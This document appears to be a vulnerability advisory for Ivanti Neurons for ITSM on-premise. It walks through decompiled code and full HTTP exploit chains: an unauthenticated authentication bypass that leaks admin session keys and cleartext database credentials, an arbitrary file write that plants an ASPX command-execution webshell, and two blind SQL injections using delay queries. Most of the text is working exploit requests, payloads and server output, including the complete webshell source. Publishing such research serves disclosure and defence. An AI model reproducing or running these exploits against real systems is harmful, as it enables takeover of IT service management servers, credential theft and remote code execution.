By default, the Survey service at /HEATSurveyProxy/SaaSSurvey.asmx is exposed to unauthenticated users. This service offers several methods, including an authentication method requiring two parameters: a username and a tenant ID.
The AuthenticateAPI method invokes an internal configuration service that is in charge of authenticating internal service calls. This service returns authentication information.
// C:\Program Files\HEAT Software\HEAT\FRSSurveyProxy\bin\SaaSSurveyProxy.dll
// SaaS.SurveyProxy.SaaSSurveyController
public static TenantDbAuth AuthenticateAPI(string userId, string tenanID)
{
return Global.GetConfigServiceInstance().AuthenticateAPI(userId, tenanID);
}// C:\Program Files\HEAT Software\HEAT\AppServer\bin\ServiceManager.CentralConfig.WebReference.dll
// CentralConfig.ConfigurationService
public CentralConfig.Contract.TenantDbAuth AuthenticateAPI(string userName, string tenantId)
{
CentralConfig.Contract.TenantDbAuth tenantDbAuth;
using (ConfigServiceAPI webService = this.GetWebService())
{
tenantDbAuth = Converter.Convert(webService.AuthenticateAPI(userName, tenantId));
}
return tenantDbAuth;
}The database connection strings and session key for the username are included in the returned object:
// C:\Program Files\HEAT Software\HEAT\AppServer\bin\ServiceManager.CentralConfig.Contract.dll
// ServiceManager.CentralConfig.Contract.TenantDbAuth
public TenantDbAuth(string tenantId, string loginId, string sessionId, TenantRecord tr, string sessionKeyStr, string expire)
{
this.TenantId = tenantId;
this.LoginId = loginId;
this.SessionId = sessionId;
this.ConnectionString = tr.DBConnectionString;
this.ProviderName = tr.ProviderName;
this.UseServerTimeZone = tr.UseServerTimeZone;
this.SessionKey = sessionKeyStr;
this.SessionKeyExpire = expire;
this.AuthenticationStatus = AuthenticationStatus.Success;
}Exploit
An unauthenticated user can access Ivanti Neurons for ITSM (On Premise) as an administrator using the AuthenticateAPI method of SaaSSurvey.
Two parameters are needed: a username, which can be set to HEATadmin (the default user configured during installation), and a tenant ID, which can be found on the login page in a hidden input field.
GET /HEAT/ HTTP/1.1
Host: WIN-ITSM
HTTP/1.1 200 OK
[...]
<input id="Tenant" name="Tenant" type="hidden" value="WIN-ITSM" />
[...]Next, using the AuthenticateAPI method with the default HEATAdmin username, it is possible to obtain a valid session key for the user and cleartext database credentials:
POST /HEATSurveyProxy/SaaSSurvey.asmx HTTP/1.1
Host: WIN-ITSM
Content-Length: 428
Soapaction: "http://www.frontrange.com/WebSurvey/AuthenticateAPI"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AuthenticateAPI xmlns="http://www.frontrange.com/WebSurvey/">
<userId>HEATAdmin</userId>
<tenantId>WIN-ITSM</tenantId>
</AuthenticateAPI>
</soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Content-Length: 921
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<AuthenticateAPIResponse xmlns="http://www.frontrange.com/WebSurvey/">
<AuthenticateAPIResult>
<TenantId>WIN-ITSM</TenantId>
<LoginId>HEATAdmin</LoginId>
<SessionId>R4D4EV79KULA6MC0HCTHGVQLELLTINTG</SessionId>
<ConnectionString>server=WIN-ITSM;Integrated Security=False;MultipleActiveResultSets=True;user id=sa;password=Password123;initial catalog=HEATSM</ConnectionString>
<ProviderName>System.Data.SqlClient</ProviderName>
<UseServerTimeZone>false</UseServerTimeZone>
<SessionKey>WIN-ITSM#R4D4EV79KULA6MC0HCTHGVQLELLTINTG#1</SessionKey>
<SessionKeyExpire>638628554877068197</SessionKeyExpire>
<AuthenticationStatus>Success</AuthenticationStatus>
</AuthenticateAPIResult>
</AuthenticateAPIResponse>
</soap:Body>
</soap:Envelope>To access the HEAT application, it is necessary to add the administrator role to the session context by calling the /HEAT/Services/Session.asmx/SelectRole endpoint.
POST /HEAT/Services/Session.asmx/SelectRole HTTP/1.1
Host: WIN-ITSM
Cookie: SID=WIN-ITSM#R4D4EV79KULA6MC0HCTHGVQLELLTINTG#1;
{"sRole":"Admin","_csrfToken":null}
HTTP/1.1 200 OK
Set-Cookie: SID=WIN-ITSM#21QOQ32DKDUTUV7BI7SUGR7VCBJMDKQA#2; path=/HEAT/; HttpOnly; SameSite=None
Set-Cookie: ReSA=br7hbQEdhLLmk55g2g0dqbC4EQk; path=/HEAT/
Set-Cookie: SA=1; path=/HEAT/
Set-Cookie: UserSettings=Role=QWRtaW4=; expires=Thu, 13-Mar-2025 16:08:41 GMT; path=/HEAT/; HttpOnly
Content-Length: 898
{
"d": {
"__type": "HEAT.WebUI.Security.Session.SessionStatus",
"ActiveRole": "Admin",
"ActiveRoleDisplayName": "Administrator",
"SessionCsrfToken": "br7hbQEdhLLmk55g2g0dqbC4EQk",
"BuildVersion": "2021.1.0.2021060601",
"SessionKey": "WIN-ITSM#21QOQ32DKDUTUV7BI7SUGR7VCBJMDKQA#2",
[...]
}
}The GetUserData methods can be used to confirm that we are logged in as an administrator.
POST /HEAT/Services/Session.asmx/GetUserData HTTP/1.1
Host: WIN-ITSM
Cookie: SID=WIN-ITSM#21QOQ32DKDUTUV7BI7SUGR7VCBJMDKQA#2
{"tzoffset":-120,"_csrfToken":"d9f1Hki-nm1o570HAkr1NdHwKr4"}
HTTP/1.1 200 OK
Connection: close
Content-Length: 7146
{
"d": {
"__type": "HEAT.WebUI.Security.Session.UserData",
"UserTeamList": [
"it"
],
"SingleRoleUser": true,
"FirstName": "admin",
[...]
"UserTeam": "IT",
"UserRole": "Admin",
"SystemAccessRights": {
"AccessSecurityGroups": 15,
"AccessUsers": 15,
"AccessBusinessUnits": 15,
[...]
},
"userRoleList": [
{
[...]
"Name": "Admin",
"DisplayName": "Administrator"
}
],
[...]
}
}Then, by setting the SID cookie in a browser to the value returned by SelectRole, we can gain access to all features as an administrator.
Ivanti Neurons for ITSM offers features to interconnect services. For example, connections can be established to import data from sources such as databases or network shares. Additionally, a CSV file can be uploaded, which will be parsed and used for configuring the connection.
First, the CSV file must be uploaded, it will be stored in the database:
POST /HEAT/AdminUI/handlers/DataImportUpload.ashx?inputFile=test.csv&id=33588b6ab669427fb18fc5716ed3d1f9&xmlType=0 HTTP/1.1
Host: WIN-ITSM
Content-Type: multipart/form-data; boundary=---------------------------21307085044786357931750543071
Content-Length: 366
Cookie: SID=WIN-ITSM#21QOQ32DKDUTUV7BI7SUGR7VCBJMDKQA#2;
-----------------------------21307085044786357931750543071
Content-Disposition: form-data; name="_csrfToken"
br7hbQEdhLLmk55g2g0dqbC4EQk
-----------------------------21307085044786357931750543071
Content-Disposition: form-data; name="ext-gen262"; filename="a.csv"
Content-Type: text/csv
test
-----------------------------21307085044786357931750543071--
HTTP/1.1 200 OK
Content-Length: 73
<textarea>{"success":true,"msg":"Your file has been uploaded"}</textarea>
Then, by calling the GetMetadataTable method, the server unserializes the JSON string from connectionDef into an object of type connectionType.
POST /HEAT/AdminUI/services/IntegrationNew.asmx/GetMetadataTable HTTP/1.1
Host: WIN-ITSM
Cookie: SID=WIN-ITSM#GJV0KEQGH6LO8DHVAP4VA9MLFB698KB9#4;
{
"connectionType": "FrontRange.Integration.Adapter.Connection.FileAdapterConnectionDef",
"connectionDef": "{\"Name\":\"new connectione\",\"DbConnectionString\":\"\",\"DbConnectionId\":\"3892894b348e410a91ae9da6ca431c3f\",\"DbUser\":\"HEATAdmin\",\"FileName\":\"a.csv\",\"FilePath\":\"* Manual Upload\",\"Protocol\":\"upload\",\"SampleFileName\":\"\",\"FileType\":\"csv\",\"FileDelimiter\":\",\",\"FileDecimal\":\".\",\"FileEncoding\":\"UTF-8\",\"TimeZoneOffset\":\"+00:00\",\"FileDateFormat\":\"MM-dd-yyyy\",\"FileTimeFormat\":\"H:m:s\",\"SSL\":false,\"XmlTableElement\":\"\",\"XmlRowElement\":\"\",\"XmlIncludeHeader\":false,\"XSLT\":\"\",\"ActiveFtp\":\"false\",\"UseGlobal\":\"false\",\"IsWizard\":\"true\"}",
"tableName": "a.csv",
"_csrfToken": "AS2se0Xox0W-kqKxmhy8z8qxzAQ"
}
HTTP/1.1 200 OK
Content-Length: 376
{
"d": {
"__type": "FRS.Integration.Metadata.MDTableDef",
"Name": "a.csv",
"Alias": "a.csv",
"PKFieldDefs": [],
"UniqueKeyNameList": [],
[...]
}
}// SaaS.WebUI.dll
// SaaS.WebUI.ServiceAPI.IntegrationNew
[WebMethod]
public MDTableDef GetMetadataTable(string connectionType, string connectionDef, string tableName)
{
IntegrationNew.EnsureSecureInfo(ref connectionDef, this.SessionContext);
MDTableDef metadataTable;
try
{
AbstractAdapterConnectionDef connectionDef2 = HelperBase.GetConnectionDef(connectionType, connectionDef);
connectionDef2.SetAttribute("TenantID", this.SessionContext.ApplicationID());
AbstractAdapterBaseFactory abstractAdapterBaseFactory = HelperBase.CreateAdapterBaseFactory(connectionDef2);
abstractAdapterBaseFactory.CreateAdapter().Connect();
metadataTable = abstractAdapterBaseFactory.CreateContainer().GetMetadataTable(tableName);
}
catch (Exception ex)
{
throw new UserInterfaceException(S._E(ex.Message), S._S("Error"));
}
return metadataTable;
}// ServiceManager.IntegrationAdapterBase.dll
// FrontRange.Integration.Adapter.Connection.AbstractAdapterConnectionDef
public static AbstractAdapterConnectionDef GetConnectionDef(string connectionType, string connectionDef)
{
return (AbstractAdapterConnectionDef)JsonSerializer.Instance.Deserialize(connectionDef, Type.GetType(connectionType + ", ServiceManager.IntegrationService.Contract"));
}Next, it invokes the Connect method of the connection instance, which in this case calls GetFileInfoAndDownloadFile. This function retrieves the file from the database with the 33588b6ab669427fb18fc5716ed3d1f9 ID and writes it to a temporary file in C:\temp\Input\.
// ServiceManager.IntegrationAdapterBase.dll
// FrontRange.Integration.Adapter.Connection.FileConnectionBase
private void GetFileInfoAndDownloadFile()
{
this.ExecuteFileAction((FileAdapterConnectionDef)this.ConnectionDef, delegate
{
this.CopyFileToLocal();
});
[...]// ServiceManager.IntegrationAdapterBase.dll
// FrontRange.Integration.Adapter.Connection.FileConnectionBase
private void CopyFileToLocal()
{
bool flag = ((FileAdapterConnectionDef)this.ConnectionDef).Protocol.Equals("upload");
byte[] array = null;
bool flag2 = ((FileAdapterConnectionDef)this.ConnectionDef).BypassDownload;
[...]
if (!flag2)
{
if (flag)
{
File.WriteAllBytes(((FileAdapterConnectionDef)this.ConnectionDef).LocalFilePath, array);
this.UnlockUploadFile();
return;
}
this.CopyAndRenameFile((((FileAdapterConnectionDef)this.ConnectionDef).IsWizard && !string.IsNullOrEmpty(((FileAdapterConnectionDef)this.ConnectionDef).SampleFileName)) ? ((FileAdapterConnectionDef)this.ConnectionDef).SampleFileName : ((FileAdapterConnectionDef)this.ConnectionDef).FileName, true);
}
}By calling the GetLocalFilePath method, we can obtain the path of the output file.
POST /HEAT/AdminUI/services/IntegrationNew.asmx/GetLocalFilePath HTTP/1.1
Host: WIN-ITSM
Content-Length: 797
Cookie: SID=WIN-ITSM#7VSC51MQ9C27VQG0J1D5DAQ2P8KPIKDN#4;
{
"sourceConnType":"FrontRange.Integration.Adapter.Connection.FileAdapterConnectionDef",
"tableName": "test.csv",
"sourceConnDef":"{\"Name\":\"new connectione\",\"DbConnectionString\":\"\",\"DbConnectionId\":\"3892894b348e410a91ae9da6ca431c3f\",\"DbUser\":\"HEATAdmin\",\"FileName\":\"a.csv\",\"FilePath\":\"* Manual Upload\",\"Protocol\":\"upload\",\"SampleFileName\":\"\",\"FileType\":\"csv\",\"FileDelimiter\":\",\",\"FileDecimal\":\".\",\"FileEncoding\":\"UTF-8\",\"TimeZoneOffset\":\"+00:00\",\"FileDateFormat\":\"MM-dd-yyyy\",\"FileTimeFormat\":\"H:m:s\",\"SSL\":false,\"XmlTableElement\":\"\",\"XmlRowElement\":\"\",\"XmlIncludeHeader\":false,\"XSLT\":\"\",\"ActiveFtp\":\"false\",\"UseGlobal\":\"false\",\"IsWizard\":\"true\"}",
"_csrfToken": "bRzoCZnprPhnv5yCRnt99kPipmE"
}
HTTP/1.1 200 OK
Content-Length: 59
{"d":"C:\\Temp\\Frs_Integration\\Input\\WIN-ITSM\\"}The file is written to C:\\Temp\\Frs_Integration\\Input\\WIN-ITSM\\test.csv.
Exploit
An attacker with administrator access can exploit the vulnerability to write a webshell to an arbitrary folder, thereby gaining remote code execution capabilities.
Indeed, no file checks are enforced in FileAdapterConnectionDef. Consequently, by setting the FileName and LocalFilePath parameters, it is possible to set the attributes of the FileAdapterConnectionDef object and specify the path where the file will be written.
First, the ASPX webshell must be uploaded:
POST /HEAT/AdminUI/handlers/DataImportUpload.ashx?inputFile=test.csv&id=33588b6ab669427fb18fc5716ed3d1f9&xmlType=0 HTTP/1.1
Host: WIN-ITSM
Content-Type: multipart/form-data; boundary=---------------------------21307085044786357931750543071
Content-Length: 1945
Cookie: SID=WIN-ITSM#7VSC51MQ9C27VQG0J1D5DAQ2P8KPIKDN#4;
-----------------------------21307085044786357931750543071
Content-Disposition: form-data; name="_csrfToken"
bRzoCZnprPhnv5yCRnt99kPipmE
-----------------------------21307085044786357931750543071
Content-Disposition: form-data; name="ext-gen262"; filename="a.csv"
Content-Type: text/csv
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script>
<html>
<body>
<form runat="server">
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
<p><asp:Label id="result" runat="server"></asp:Label>
</form>
</body>
</html>
-----------------------------21307085044786357931750543071--
HTTP/1.1 200 OK
Content-Length: 73
<textarea>{"success":true,"msg":"Your file has been uploaded"}</textarea>
Next, by invoking GetMetadataTable, the file is written at the webroot of the application: C:\\Program Files\HEAT Software\HEAT\AppServer\handlers\.
POST /HEAT/AdminUI/services/IntegrationNew.asmx/GetMetadataTable HTTP/1.1
Host: WIN-ITSM
Content-Length: 979
Cookie: SID=WIN-ITSM#7VSC51MQ9C27VQG0J1D5DAQ2P8KPIKDN#4;
{
"connectionType":"FrontRange.Integration.Adapter.Connection.FileAdapterConnectionDef",
"tableName": "test.csv",
"connectionDef":"{\"Name\": \"new connection_1\", \"DbConnectionString\": \"\", \"DbConnectionId\": \"33588b6ab669427fb18fc5716ed3d1f9\", \"DbUser\": \"HEATAdmin\", \"FileName\": \"Default.aspx\", \"FilePath\": \"\", \"Protocol\": \"upload\", \"SampleFileName\": \"\", \"FileType\": \"csv\", \"FileDelimiter\": \",\", \"FileDecimal\": \".\", \"FileEncoding\": \"UTF-8\", \"TimeZoneOffset\": \"+00:00\", \"FileDateFormat\": \"MM-dd-yyyy\", \"FileTimeFormat\": \"H:m:s\", \"SSL\": false, \"XmlTableElement\": \"\", \"XmlRowElement\": \"\", \"XmlIncludeHeader\": false, \"XSLT\": \"\", \"ActiveFtp\": \"false\", \"UseGlobal\": \"false\", \"IsWizard\": \"true\", \"LocalFilePath\": \"C:\\\\\\\\Program Files\\\\\\\\HEAT Software\\\\\\\\HEAT\\\\\\\\AppServer\\\\\\\\handlers\\\\\\\\\", \"BypassDownload\": true}",
"_csrfToken": "bRzoCZnprPhnv5yCRnt99kPipmE"
}
HTTP/1.1 200 OK
Content-Length: 10
{"d":null}The file's directory can be confirmed by invoking the GetLocalFilePath method.
POST /HEAT/AdminUI/services/IntegrationNew.asmx/GetLocalFilePath HTTP/1.1
Host: WIN-ITSM
Content-Length: 979
Cookie: SID=WIN-ITSM#7VSC51MQ9C27VQG0J1D5DAQ2P8KPIKDN#4;
{
"sourceConnType":"FrontRange.Integration.Adapter.Connection.FileAdapterConnectionDef",
"tableName": "test.csv",
"sourceConnDef":"{\"Name\": \"new connection_1\", \"DbConnectionString\": \"\", \"DbConnectionId\": \"33588b6ab669427fb18fc5716ed3d1f9\", \"DbUser\": \"HEATAdmin\", \"FileName\": \"Default.aspx\", \"FilePath\": \"\", \"Protocol\": \"upload\", \"SampleFileName\": \"\", \"FileType\": \"csv\", \"FileDelimiter\": \",\", \"FileDecimal\": \".\", \"FileEncoding\": \"UTF-8\", \"TimeZoneOffset\": \"+00:00\", \"FileDateFormat\": \"MM-dd-yyyy\", \"FileTimeFormat\": \"H:m:s\", \"SSL\": false, \"XmlTableElement\": \"\", \"XmlRowElement\": \"\", \"XmlIncludeHeader\": false, \"XSLT\": \"\", \"ActiveFtp\": \"false\", \"UseGlobal\": \"false\", \"IsWizard\": \"true\", \"LocalFilePath\": \"C:\\\\\\\\Program Files\\\\\\\\HEAT Software\\\\\\\\HEAT\\\\\\\\AppServer\\\\\\\\handlers\\\\\\\\\", \"BypassDownload\": true}",
"_csrfToken": "bRzoCZnprPhnv5yCRnt99kPipmE"
}
HTTP/1.1 200 OK
Content-Length: 105
{"d":"C:\\\\Program Files\\\\HEAT Software\\\\HEAT\\\\AppServer\\\\handlers\\\\Input\\WIN-ITSM\\"}Finally, the whoami command can be run through the webshell.
POST /HEAT/handlers/Input/WIN-ITSM/Default.aspx HTTP/1.1
Host: WIN-ITSM
Cookie: SSID=WIN-ITSM#7VSC51MQ9C27VQG0J1D5DAQ2P8KPIKDN#4;
__VIEWSTATE=7eqfM0cz31iZHsfv7OFTQFswlJjaDmX6p2v5JhFA87qLJ%2Fmj9QGKW2WG4%2B7izhqFCC2wnDMtDldH%2F4qzxUDWMBFOGj0%3D&__VIEWSTATEGENERATOR=A04E1A8E&__EVENTVALIDATION=%2FezpB3AYyW3kWyOrMUCopLjk44TBU8mB2kuGuBt12%2B%2Foi06epO3E72L0vVfm9FFYi%2F4wTBP0dNB4I%2FyRhO2Hy5x46%2FSSN18xvHjueMv9jUKFLq9H2JAhS7CnM7Epj%2B20zOVA90zuwhWt0f9kybshpAsrmG4%3D&xpath=c%3A%5Cwindows%5Csystem32%5Ccmd.exe&xcmd=%2Fc+whoami&Button=Run
HTTP/1.1 200 OK
Content-Length: 1294
<html>
<pre>iis apppool\heatappserverapppool
</pre>
</html>Several API methods can be exploited with an administrator account. Exploiting the GetAssetXML method also requires database credentials, which can be obtained through the Authentication bypass and database credentials leak on the Survey vulnerability.
The GetAssetXML method loads the JSON string from the sourceConnDef parameter into the class defined by sourceConnType, and then calls the TestFetch function on the resulting object.
// ServiceManager.IntegrationAdapterBase.dll
// FrontRange.Integration.Adapter.Configuration.HelperBase::GetAssetXML
public static string GetAssetXML(SyncInfo syncInfo, DataMappingDef mappingDef, AbstractAdapterConnectionDef sourceConnDef, AbstractAdapterConnectionDef targetConnDef, bool bypassDownload = false)
{
object obj = new object[] { syncInfo, mappingDef, sourceConnDef, targetConnDef, bypassDownload };
SynchronizerBase synchronizerBase = new SynchronizerBase();
return synchronizerBase.Preview(obj);
}// ServiceManager.IntegrationAdapterBase.dll
// System.String FrontRange.Integration.Adapter.Synchronization.SynchronizerBase
public string Preview(object arg)
{
string text;
try
{
object[] array = (object[])arg;
SyncInfo syncInfo = array[0] as SyncInfo;
this.mappingDef = array[1] as DataMappingDef;
AbstractAdapterConnectionDef abstractAdapterConnectionDef = array[2] as AbstractAdapterConnectionDef;
[...]
AbstractAdapterBaseFactory abstractAdapterBaseFactory = HelperBase.CreateAdapterBaseFactory(abstractAdapterConnectionDef);
[...]
this.sourceContainer = abstractAdapterBaseFactory.CreateContainer();
if (!this.sourceContainer.CanBeSource())
{
throw new Exception("The chosen container does not support being a source: " + this.sourceContainer.GetType().Name);
}
[...]
object obj2 = new object[] { syncInfo.Batch, this.mappingDef };
object obj3 = this.sourceContainer.TestFetch(obj2);
if (obj3 == null)
{
throw new ApplicationException("No data is gotten from the source.");
}
object obj4 = new object[] { obj3, this.mappingDef, this.sourceAdapter, this.sourceContainer, this.targetAdapter, this.targetContainer };
text = this.transformer.TestTransform(obj4);
}
[...]
return text;
}// ServiceManager.IntegrationAdapterBase.dll
// System.Object FrontRange.Integration.Adapter.Container.SCCMContainerBase
public override object TestFetch(object arg)
{
object[] array = (object[])arg;
DataMappingDef dataMappingDef = array[1] as DataMappingDef;
string randomKey = this.GetRandomKey((SCCMAdapterConnectionDef)base.ConnectionDef);
this.Fill(dataMappingDef, string.Format("{0} in ('{1}')", ((SCCMAdapterConnectionDef)base.ConnectionDef).RootTableKey, randomKey));
DataTable table = this.GetTable(((SCCMAdapterConnectionDef)base.ConnectionDef).RootTable);
return table.Rows[0];
}The TestFetch method calls the GetRandomkey function, which executes an SQL query using Format with the parameters supplied by the user.
// ServiceManager.IntegrationAdapterBase.dll
// System.Object FrontRange.Integration.Adapter.Container.SCCMContainerBase
private string GetRandomKey(SCCMAdapterConnectionDef connectionDef)
{
try
{
using (SqlConnection sqlConnection = new SqlConnection(connectionDef.ConnectionString))
{
sqlConnection.Open();
SqlCommand sqlCommand = new SqlCommand(string.Format("SELECT top 1 {0} from {1} ORDER BY NEWID()", connectionDef.RootTableKey, connectionDef.RootTable), sqlConnection);
using (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
{
if (sqlDataReader.Read())
{
return sqlDataReader[connectionDef.RootTableKey].ToString();
}
}
}
}
catch (Exception ex)
{
throw new ApplicationException("SCCMTransformer.GetKeys - Failed to retrieve random key value from SCCM server" + ex.ToString());
}
return string.Empty;
}The SQL query results are not displayed in the server response and create an error. An injection in this context is known as a blind SQL injection. A delay query can be performed to check if the request is injected. In MS-SQL, this is achieved via the following query:
POST /HEAT/AdminUI/services/IntegrationNew.asmx/GetAssetXML HTTP/1.1
Host: WIN-ITSM
Cookie: SID=WIN-ITSM#21QOQ32DKDUTUV7BI7SUGR7VCBJMDKQA#2;
Date: Sat, 14 Sep 2024 04:53:03 GMT
{"sourceConnType":"FrontRange.Integration.Adapter.Connection.SCCMAdapterConnectionDef","sourceConnDef":"{\"Server\":\"WIN-ITSM\",\"Database\":\"ConfigDB\",\"Id\":\"sa\",\"PW\":\"Password123\",\"RootTable\":\"master..syslogins WAITFOR DELAY '0:0:20'-- \",\"RootTableKey\":\"name\"}","mappingDef":"{\"SourceObjects\":[\"\"],\"FilterDef\":null,\"FusionLink\":false,\"FieldMapDefs\":[]}","rootTableName":"","rootTableKey":"","batchSize":"200","bypassDownload":true,"_csrfToken":"br7hbQEdhLLmk55g2g0dqbC4EQk"}
HTTP/1.1 200 OK
Date: Sat, 14 Sep 2024 04:53:23 GMT
Connection: close
Content-Length: 78
{"d":"Preview failed - Object reference not set to an instance of an object."}In addition, the application offers a package feature to apply patches to the configuration. By using the preview method to test the patch, an attacker can craft a malicious patch and execute an arbitrary SQL query.
The PackageImportHandler method parses the provided XML patch and calls the ApplyPatch function.
// SaaS.WebUI.dll
// SaaS.WebUI.AdminUI.handlers.PackageImportHandler
public void ProcessRequest(HttpContext context)
{
[...]
byte[] array = new byte[0];
try
{
array = this.ReadInputStream(context);
}
[...]
[...]
if (flag3 && !patchResponse.Errors.Any<string>())
{
flag4 = new MetadataManager().ApplyPatch(patchRequest, sessionContext, text6, patchResponse, true, text3 == "apply");
flag5 = true;
ManagementInstance.ValidateSession(sessionContext.SessionKey(), true, sessionContext.LoginID());
}
[...]
}
[...]
}// SaaS.WebUI.dll
// SaaS.WebUI.MetadataServices.MetadataManager
private static void ApplyPatch(ISessionContextEx sessionContext, XElement patch, bool applyPatch, bool ignoreMRIErrors, string cacheKey, string tenantId, string username, string packageName, bool dataFlagProvided, MetadataProvidersContainer metadataProvider, DateTime patchTime, int patchCount, List<string> allWarnings, List<string> allErrors, ref bool completed, ref int patchIndex)
{
string text = patch.AttributeValue("Name") ?? "NA";
XElement xelement = patch.Element("PostActions");
[...]
try
{
if (!applyPatch && (xelement3 != null || xelement4 != null))
{
return;
}
if (xelement3 != null)
{
patchResult = MetadataPatch.ApplySqlPatch(xelement3, sessionContext);
}
[...]
}Next, the MetadataPatch.ApplySqlPatch method is called, which executes the SQL query provided by the user.
// SaaS.WebUI.dll
// DataLayer.MetadataPatch::ApplySqlPatch
public static PatchResult ApplySqlPatch(XElement sqlElement, ISessionContext sessionContext)
{
PatchResult patchResult = new PatchResult();
XElement xelement = sqlElement.XPathSelectElement("./Statements");
[...]
using (Connection connection = new Connection(sessionContext))
{
DbCommand dbCommand = connection.CreateCommand();
List<string> list = MetadataPatch.ReadSqlStatements(xelement.Value);
StringBuilder stringBuilder = new StringBuilder();
foreach (string text in list)
{
dbCommand.CommandText = text;
dbCommand.CommandType = CommandType.Text;
dbCommand.CommandTimeout = 900;
try
{
dbCommand.ExecuteNonQuery();
}
catch (Exception ex)
{
stringBuilder.AppendFormat("\nUnable to execute SQL due to {0}:\n {1}", ex.Message, text);
}
}
[..]
}
patchResult.Completed = true;
return patchResult;
}As previously, it is a blind SQL injection and a delay query can be performed to check if the request is injected. In MS-SQL, this is achieved via the following query:
POST /HEAT/AdminUI/handlers/PackageImportHandler.ashx?opFlag=apply&showDetail=&inputFile=ITSM2016.2.MetadataPackage HTTP/1.1
Host: WIN-ITSM
Cookie: SID=WIN-ITSM#GJV0KEQGH6LO8DHVAP4VA9MLFB698KB9#4
Date: Sat, 14 Sep 2024 05:14:04 GMT
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"
993296153
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="UPLOAD_IDENTIFIER"
993296153
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="MAX_FILE_SIZE"
524288
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="_csrfToken"
AS2se0Xox0W-kqKxmhy8z8qxzAQ
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="ext-gen1185"; filename="ITSM2016.2.MetadataPackage"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="utf-8"?>
<Package Name="ITSM2016.2_PreUpgrade.MetadataPackage" ReleaseUpgrade="true" ClientSchemaVersion="1.1">
<Metadata ClientSchemaVersion="1.1" Name="POC SQLI">
<Differences>
<Updates>
<Sql>
<Statements>
SELECT * from master..syslogins WAITFOR DELAY '0:0:20';
GO
</Statements>
</Sql>
</Updates>
</Differences>
<Notes />
</Metadata>
</Package>
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="path"
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="files"
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="multiplefiles"
false
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="cmd"
upload
-----------------------------40754514753130016681401008096
Content-Disposition: form-data; name="dir"
.
-----------------------------40754514753130016681401008096--
HTTP/1.1 200 OK
Date: Sat, 14 Sep 2024 05:14:24 GMT
Connection: close
Content-Length: 84
<html><body>{"completed":true,"applied":true,"errors":[],"warnings":[]}<body></html>